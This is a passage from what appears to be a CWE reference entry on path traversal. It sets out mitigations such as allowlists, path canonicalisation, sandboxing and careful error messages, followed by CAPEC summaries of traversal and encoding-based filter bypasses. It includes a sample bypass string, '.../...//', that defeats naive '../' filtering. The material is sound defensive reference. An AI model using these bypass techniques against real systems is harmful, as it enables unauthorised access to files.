- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.